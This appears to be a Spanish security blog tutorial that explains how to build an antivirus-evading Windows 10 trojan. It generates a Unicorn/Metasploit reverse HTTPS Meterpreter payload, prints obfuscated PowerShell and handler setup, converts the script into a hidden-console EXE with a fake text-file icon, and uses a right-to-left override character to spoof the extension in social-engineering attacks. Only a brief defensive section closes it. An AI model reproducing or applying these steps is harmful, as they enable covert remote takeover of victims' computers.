Metasploit y Windows 10: Creando un payload indetectable (Evadiendo software antivirus)
Anteriormente
escribimos un artículo donde mostramos la manera de acceder a un
sistema operativo Windows 10 usando metasploit de manera local o
remotamente, puedes leer el artículo aquí: Accediendo remotamente a Windows 10 con Metasploit.
Hoy les vamos a mostrar cómo ofuscar el
código malicioso para que sea indetectable a los antivirus. Los
entusiastas de seguridad siempre buscan exploits de día cero que pueden
eludir con éxito las características de seguridad de sistemas cómo
Windows 10. Se han llevado a cabo numerosas investigaciones para crear
malware indetectable y proyectos completos de GitHub dedicados a
automatizar la creación de payloads indetectables como WinPayloads, Veil v3 y TheFatRat.
Todo lo que se explicará en esta guía se hace con fines explícitamente educativos y bajo un laboratorio propiedad de Security Hack Labs,
los usos que se le puedan dar a este tutorial depende del usuario y es
absolutamente responsabilidad del él los daños que pueda causar.
Con un poco de ingeniería social, engañar a
un usuario objetivo para que abra un archivo malicioso puede ser tan
simple como inyectar un poco de Unicode en el nombre del archivo. Por
ejemplo, el siguiente GIF muestra un ejecutable de Windows (EXE)
disfrazado para aparecer como un archivo de texto normal (TXT), siempre
que "Ocultar extensiones para tipos de archivos conocidos" esté deshabilitado en las Opciones del Explorador de archivos.
No se equivoque, el archivo de la derecha
es un archivo ejecutable y, lo que es más importante, el sistema
operativo Windows lo reconoce como ejecutable. Cuando se hace clic en el
archivo de texto falso, abre un nuevo documento usando el Bloc de
notas, el editor de texto predeterminado en Windows 10. Después de abrir
el Bloc de notas, ejecuta silenciosamente una carga incorporada de
PowerShell (creada con Unicorn) que crea una puerta trasera a la ahora
comprometida computadora con Windows .
Unicorn,
creado por TrustedSec, es una herramienta sencilla diseñada para ayudar
a los testers de penetración con los ataques de PowerShell e inyección
de Payloads del tipo shellcode sofisticados directamente en la memoria.
Las técnicas utilizadas por Unicorn se basan en el trabajo de Matthew Graeber y el fundador de TrustedSec, David Kennedy.
Llegando a este punto damos por hecho que
usted tiene instalada la última versión de Metasploit que es un
requisito para realizar el ataque.
· Instalación de Unicorn
Si usted ha seguido nuestra guía Convirtiendo ArchLinux en una distribución de pentesting entonces puede utilizar el siguiente comando en su sistema:
pacman -S unicorn-powershell
unicorn-powershell --help
Si utiliza otra distribución, entonces clone el repositorio Github usando:
git clone https://github.com/trustedsec/unicorn
cd unicorn
./unicorn.py --help
Hay varias opciones Unicorn interesantes y efectivas. En este artículo, me centraré en la opción PowerShell y Meterpreter.
· Generando el Payload
Para generar nuestro Payload usaremos el siguiente comando:
./unicorn.py windows/meterpreter/reverse_https <IP-ATACANTE> <PUERTO>
Unicorn utilizará el módulo Metasploit reverse_https
para conectarse a la dirección IP del atacante utilizando el puerto
especificado. Si aún no sabe cómo redirigir puertos para realizar un
ataque fuera de la red local, lo invito a leer Accediendo remotamente a Windows 10 con Metasploit
Cuando Unicorn termine de generar el payload, se crearán dos nuevos archivos. El primero es powershell_attack.txt que se puede ver utilizando el comando cat powershell_attack.txt. Esto revela el código de PowerShell que se ejecutará en la máquina de Windows 10 de destino y que crea la conexión reversa.
sechacklabs@SecHackLabs:~/Shared$ cat powershell_attack.txt
powershell /w 1 /C "s''v lKE -;s''v wxc e''c;s''v bC ((g''v lKE).value.toString()+(g''v wxc).value.toString());powershell (g''v bC).value.toString() ('JAB6AGcAawAgAD0AIAAnACQASgBRAHUAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAG...')"
El otro archivo creado por Unicorn es unicorn.rc, un archivo de recursos que automatizará la configuración de msfconsole.
sechacklabs@SecHackLabs:~$ cat unicorn.rc
use multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.0.6
set LPORT 444
set ExitOnSession false
set EnableStageEncoding true
exploit -j
· Inicio de metasploit usando el archivo de recursos
Para iniciar Metasploit, ejecute el comando sudo msfconsole -r unicorn.rc.
sechacklabs@SecHackLabs:~$ sudo msfconsole -r unicorn.rc
[sudo] password for sechacklabs:
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM MMMMMMMMMM
MMMN$ vMMMM
MMMNl MMMMM MMMMM JMMMM
MMMNl MMMMMMMN NMMMMMMM JMMMM
MMMNl MMMMMMMMMNmmmNMMMMMMMMM JMMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM
MMMNI MMMMM MMMMMMM MMMMM jMMMM
MMMNI MMMMM MMMMMMM MMMMM jMMMM
MMMNI MMMNM MMMMMMM MMMMM jMMMM
MMMNI WMMMM MMMMMMM MMMM# JMMMM
MMMMR ?MMNM MMMMM .dMMMM
MMMMNm `?MMM MMMM` dMMMMM
MMMMMMN ?MM MM? NMMMMMN
MMMMMMMMNe JMMMMMNMMM
MMMMMMMMMMNm, eMMMMMNMMNMM
MMMMNNMNMMMMMNx MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
https://metasploit.com
=[ metasploit v4.16.60-dev ]
+ -- --=[ 1772 exploits - 1008 auxiliary - 307 post ]
+ -- --=[ 537 payloads - 41 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
[*] Processing unicorn.rc for ERB directives.
resource (unicorn.rc)> use multi/handler
resource (unicorn.rc)> set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
resource (unicorn.rc)> set LHOST 192.168.0.6
LHOST => 192.168.0.6
resource (unicorn.rc)> set LPORT 444
LPORT => 444
resource (unicorn.rc)> set ExitOnSession false
ExitOnSession => false
resource (unicorn.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (unicorn.rc)> exploit -j
[*] Exploit running as background job 0.
msf exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://192.168.0.6:444
El archivo de recursos activará
automáticamente el controlador ( multi/handler ), configurará el tipo de
carga ( windows/meterpreter/reverse_https ), configurará la dirección
IP del atacante ( LHOST ), configurará el número de puerto ( LPORT ),
activará la codificación de stager ( EnableStageEncoding ), e iniciará
el oyente msfconsole ( exploit -j ).
En este punto, todo en el lado del
atacante está configurado y listo para las conexiones entrantes. Ahora
solo se trata de verificar que la carga útil funcione y evite de manera
efectiva Windows Defender y el software antivirus.
· Guardando el Payload
Los siguientes pasos requieren un sistema
operativo Windows. Recomiendo usar una máquina virtual (VM) de Windows
10 en VirtualBox.
Antes de ir más lejos, el Payload de
PowerShell creado anteriormente debería moverse al sistema de Windows y
guardarse como payload.bat usando el Bloc de notas o un editor de texto
preferido. El archivo payload.bat se manipulará para que aparezca como
un archivo de texto normal en los pasos a seguir.
· Descarga los íconos de Windows 10
Los iconos de Windows 10 deberán
descargarse para comenzar a transformar el archivo payload.bat en un
archivo de texto falso. Estos iconos se usarán para falsificar el ícono
del archivo. Puede descargar los íconos de Windows 10 usando:
git clone 'https://github.com/B00merang-Project/Windows-10-Icons'
Este repositorio puede no contener
réplicas exactas de los iconos integrados de Windows 10, pero se parecen
lo suficiente y servirá muy bien para los propósitos de este artículo.
Si los lectores son capaces de diseñar íconos o ubicar mejores íconos en
línea, recomiendo su uso.
Estoy usando text-x-generic.png ubicado en el directorio Windows-10-Icons/256x256/mimetypes/, pero cualquier PNG funcionará para continuar.
· Convierta el archivo PNG a formato ICO
El archivo PNG deberá convertirse al formato de icono de Windows ICO. Esto se puede hacer usando herramientas en línea como ConvertICO.
Simplemente cargue el archivo PNG deseado en el sitio web y lo
reproducirá en formato ICO. Guarde el nuevo ICO con el nombre de archivo
fakeTextFile.ico.
· Instale BAT2EXE
Esta es una gran herramienta para convertir archivos BAT a ejecutables de Windows.
Para descargar B2E, el sitio web requiere
que los usuarios exploten criptomonedas durante varios minutos a cambio
de descargar su software gratuito. Si los lectores desean dar soporte al
desarrollador de B2E, diríjase a la página de descargas
y obtenga el último software B2E. De lo contrario, los lectores pueden
usar mi espejo de una versión un poco más antigua de B2E.
Usando mi espejo GitLab, en Windows, visite la URL a continuación para descargar B2E.
https://github.com/edu4rdshl/trash/raw/master/Bat_To_Exe_Converter.zip
Descomprima la descarga y ejecute el archivo "Bat_To_Exe_Converter_(Installer).exe" para instalarlo.
· Importe el payload en formato BAT
Cuando haya terminado, inicie B2E y haga clic en el botón "Open" para importar el archivo payload.bat creado anteriormente.
· Troyanizar el Payload
Luego, agregue la palabra "notepad" a la parte superior de la función payload.bat
y haga clic en "Save". Esto hará que el ejecutable abra el Bloc de
notas en el equipo con Windows antes de ejecutar la carga útil de
PowerShell. Hacer esto hará que el usuario objetivo crea que el archivo
en el que acaba de hacer clic es un archivo de texto legítimo.
Ahora, hay mucho que se puede hacer para
convencer aún más a alguien de que el archivo es legítimo. Por ejemplo,
si el Bloc de notas no es su editor de texto predeterminado, podría
parecer sospechoso que este archivo abra el Bloc de notas cuando otros
archivos de texto abren Notepad ++, un popular editor de texto de
terceros. Por lo tanto, puede ser conveniente mejorar el BAT para abrir
un programa predeterminado, en lugar de un Bloc de notas. Además, abrir
un Bloc de notas en blanco cuando se informa que el archivo tiene 12 KB
también puede ser sospechoso, por lo que encontrar una forma de producir
texto o troyanizar el EXE para descargar primero un archivo de texto
real puede ayudar a mejorar la efectividad de dichos ataques.
En aras de la simplicidad, continuaré como
está, con el BAT abriendo un Bloc de notas en blanco. Se espera que
esto demuestre cuán fácil es crear troyanos y llevar a los lectores por
el camino correcto para desarrollar este ataque.
· Convertir y exportar la carga útil
Una vez hecho esto, marque la opción "Icon" para habilitarlo, e importe el icono de fakeTextFile.ico
creado en el paso anterior con el botón "...". Luego, cambie Exe-Format
a "64 Bit | Windows Invisible" para evitar que aparezcan terminales
cuando el usuario objetivo abre el archivo.
Haga clic en el botón "Convertir" para crear el EXE y guarde el nombre de archivo como fake.exe.
Después de guardar el fake.exe en
el escritorio y colocarlo junto a un archivo de texto real, los
lectores pueden notar una fina línea roja en el ícono falso que no
existe en el ícono del archivo de texto real. Esto se puede solucionar
fácilmente mediante el uso de un mejor conjunto de iconos de Windows 10 o
mediante el uso de un tipo diferente de archivo para suplantar.
· Falsificar la extensión de archivo con Unicode
El problema más grande es la extensión de
archivo. Gracias a la opción "Ocultar extensiones para tipos de archivos
conocidos" en las Opciones del Explorador de archivos, el sistema
operativo Windows no oculta las extensiones de archivo. Para evitar
esto, use un carácter Unicode llamado "Override Right-to-Left" (RLO)
para invertir el orden de los caracteres que se muestran en el nombre
del archivo. Es importante entender que, cabe mencionar que los
carácteres no se están invirtiendo en realidad, la forma en que Windows
muestra los caracteres es la que se está invirtiendo. Windows aún
reconocerá la extensión de archivo como EXE.
Como se ve en el GIF anterior, el carácter
RLO invisible se inyecta entre el nombre del archivo ("fake") y la
extensión del archivo fake ("txt"). Todo lo que el carácter RLO está
haciendo aquí es voltear el orden en que se muestran los caracteres en
el nombre del archivo. Desafortunadamente, el "exe" debe permanecer en
el nombre de archivo falso.
· Cómo protegerse contra ataques de suplantación de extensión de archivo
Dado que nuestro objetivo general aquí era
crear un payload indetectable, el software antivirus no es realmente
una buena opción para protegerse contra este tipo de ataques de
suplantación de extensión de archivos.
Una cosa que puedes hacer es simplemente
ponerte la lupa cuando mires archivos que descargas de Internet. En
nuestro caso anterior, no podrá decir a primera vista que el ícono no es
lo mismo que otros archivos de texto, pero en un examen más detallado,
verá que hay algo sospechoso.
Si sospecha de un archivo o su fuente,
intente cambiarle el nombre. Tenga cuidado de no hacer doble clic en él.
En su lugar, haga clic con el botón derecho en el archivo y elija la
opción "Cambiar nombre" en el menú contextual. Si se utiliza Unicode, el
cambio de nombre del archivo utilizando caracteres encontrados en los
teclados estándar eliminará el Unicode, revelando su verdadera
extensión.
Fuente: SecurityHackLabs
Comentarios
Publicar un comentario